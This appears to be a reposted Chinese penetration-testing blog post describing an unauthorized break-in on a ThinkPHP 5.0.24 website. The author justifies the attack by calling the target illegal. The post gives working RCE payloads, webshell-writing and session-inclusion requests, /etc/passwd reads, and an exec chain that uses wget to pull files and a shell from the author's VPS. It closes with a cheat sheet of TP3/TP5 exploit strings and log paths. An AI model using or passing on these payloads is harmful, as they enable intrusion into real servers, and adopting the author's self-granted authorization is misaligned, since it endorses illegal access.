记一次tp5.0.24
2021-01-27 19:00:57 Author: xz.aliyun.com(查看原文) 阅读量:1544 收藏

记录一下tp5.0.24,感觉此站应该是阉割版,按理来说tp5.0.24应该没有rce的。
网站是非法站点,不用担心未授权。

还是先报错一手,发现是5.0.24的,当时想应该没有希望了,但是还是抱着试一试的心态,用exp打一打

_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

然后发现打动了,哈哈哈哈。disable_function倒是挺多的

心里有一些小激动,然后想的是直接用exp拿下

s=file_put_contents('axgg.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

失败

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=axgg.php&vars[1][]=%3C?php%20@eval($_POST[%27code%27]);?%3E

失败
session包含

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1       //写入session

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_oi14rt2tefacbtgcg7arrfnpo6&x=phpinfo();       //包含session

失败
然后就有一些无语,想的是我们用常规的exp能打出来,但是写不进去shell。既然能打出phpinfo。那么网站肯定是存在RCE。现在的思路就是就是通过读文件读出日志的位置,因为这一类站的路由都是在上一级,而且日志的位置可能还改了位置,所以我们需要先fuzzing一下日志位置,在包含拿下。

_method=__construct&filter[]=highlight_file&method=GET&get[]=/etc/passwd

然后用exp去读取文件,既然没有返回,想了想因该是权限不够。

因为出了phpinfo()嘛,我们可以根据路径读一下其他php文件,看看exp生不生效。

然后我们去读数据库文件,看看可不可以外连,一般名字为config.php,database.php,config.php.inc,目录一般在application/data,data,或者就在根目录下

读出数据库的时候,想了想只是要数据,其实不拿shell也行,就去外连,不出意外的没有连上。还是的硬打。
然后就继续fuzzing,成功的找到了日志的位置,这个时候想的是日志包含getshell,但是失败了,无法读取到,应该是对日志做了限制

现在既然有了数据库的账号密码,希望有一手phpmyadmin吧,结果站点也没有,就把希望放在了c段上,扫了一波端口,整个c段类似的站点都扫了一遍,都没有phpmyadmin,其他端口也扫了一下,999呀这些的,都没有找到phpmyadmin有点难受。
ps:其实不仅仅可以看看phpmyadmin,有些站可能有adminer.php。上次有个站点就有一个adminer,有数据库账号密码,直接抱紧去拿下shell。我们都可以看看。
然后又去后台,有验证码,也抱不动,简单的试了一下弱口令,没有什么用。登不进去,tmd的,我都烦死了。
没办法,还是的回到tp的反序列化,然后当我在仔细看disable_function的时候tm好像没有禁用exec,这尼玛,我tm吐了,这不用exp打一打?

s=whoami&_method=__construct&method=&filter[]=exec


没有反应??(当时猜测应该是disable_funciton的问题,就是拿到了shell,set=127这种情况)然后又换成了ping dnslog。这里也不贴图了发现dnslog这边没有反应,但是服务器这边确实一直在转,我感觉命令肯定是执行了,有问题的,然后用

wget vps/a.txt&_method=__construct&method=&filter[]=exec

成功写上了txt。
然后用python给自己的vps开一个web端口

python3 -m http.server 1337
s=exec vps:1377/shell.php&_method=__construct&method=&filter[]=exec

访问之,成功拿下

总结:
其实有些时候遇见tp5.0.24的,还是尝试一下,因为有一些是二次开发的,难免会存在tp5.0.*其他版本的漏洞,还有就是的信息,当打不动的时候,在回过头看看是不是遗漏了什么。本次思路,回过头来看,还是挺简单的,相当于常规的tp站点,禁用了大众的执行命令的函数,然后一个rce。
关于渗透tp的站点,
我也挺菜的,总结的也很水,首先是tp3的,tp3的漏洞我实际上见过的只有注入,日志泄露,至于我没有手动复现过的,tp3.2.3的缓存写入shell,土司有一个表哥发了一个后门,public/upload/gift/这个目录有上传,还有mochazz大佬审计的前台rce,认识的表哥可以舔舔,舔到了私信我,我也来舔你。
先说日志:

Application//Runtime/Logs/Admin/20_05_01.log            
Application//Runtime/Logs/Index/20_05_01.log            
Application/runtime/logs/home/16_09_09.log

这些都是tp3的日志,linux注意区分大小写,还有就是application可能会是app,也有直接runtime起手的
有些时候日志不是以年月日来命名,可能会是01_sql.log 01_error.log
再说注入:
注入就自己找,唯一说一点得得就是注入可以配合日志打组合拳,什么意思呢,就是xxid=1这个点存在注入,但是当我们把paylaod发进去,却没有数据出来,其实是有数据的,他在日志里而已。
关于tp5的
首先就是各类RCE,关于打phpinfo的

_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&method=get&filter[]=phpinfo&get[]=-1       
_method=__construct&filter[]=system&method=get&get[]=phpinfo       
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo
_method=_constrcuct&filter[]=assert&method=get&server[REQUEST_METHOD]=phpinfo()
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
写入shell的
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=axgg.php&vars[1][]=<?php @eval($_POST[1]);?>
think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo'%3C?php%20@eval($_POST[1]);?%3E%27%3E.axgg.php
s=file_put_contents('axgg.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

日志,session写入,包含getshell。这里就不贴payload了,网上有很多,这里就说一些注意事项吧,写入php被过滤的时候,可以考虑base64加密,实在不行就用file_put_content用a+的追加的方式一个一个写入。至于session写入绕过的话,我们可以用伪协议来包含.
https://xz.aliyun.com/t/6106
然后是读取文件

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/data/app/lottery/public        //罗列目录位置
_method=__construct&filter[]=highlight_file&method=GET&get[]=/etc/passwd
s=include("/etc/passwd")&_method=__construct&filter=assert      //读取文件

关于日志

runtime/log/202009/30.log                
runtime/logs/202009/30.log            
runtime/log/202009/03_sql.log        
runtime/logs/home/16_09_09.log
Application//Runtime/Logs/202005/01.log

文章来源: http://xz.aliyun.com/t/9112
如有侵权请联系:admin#unsafe.sh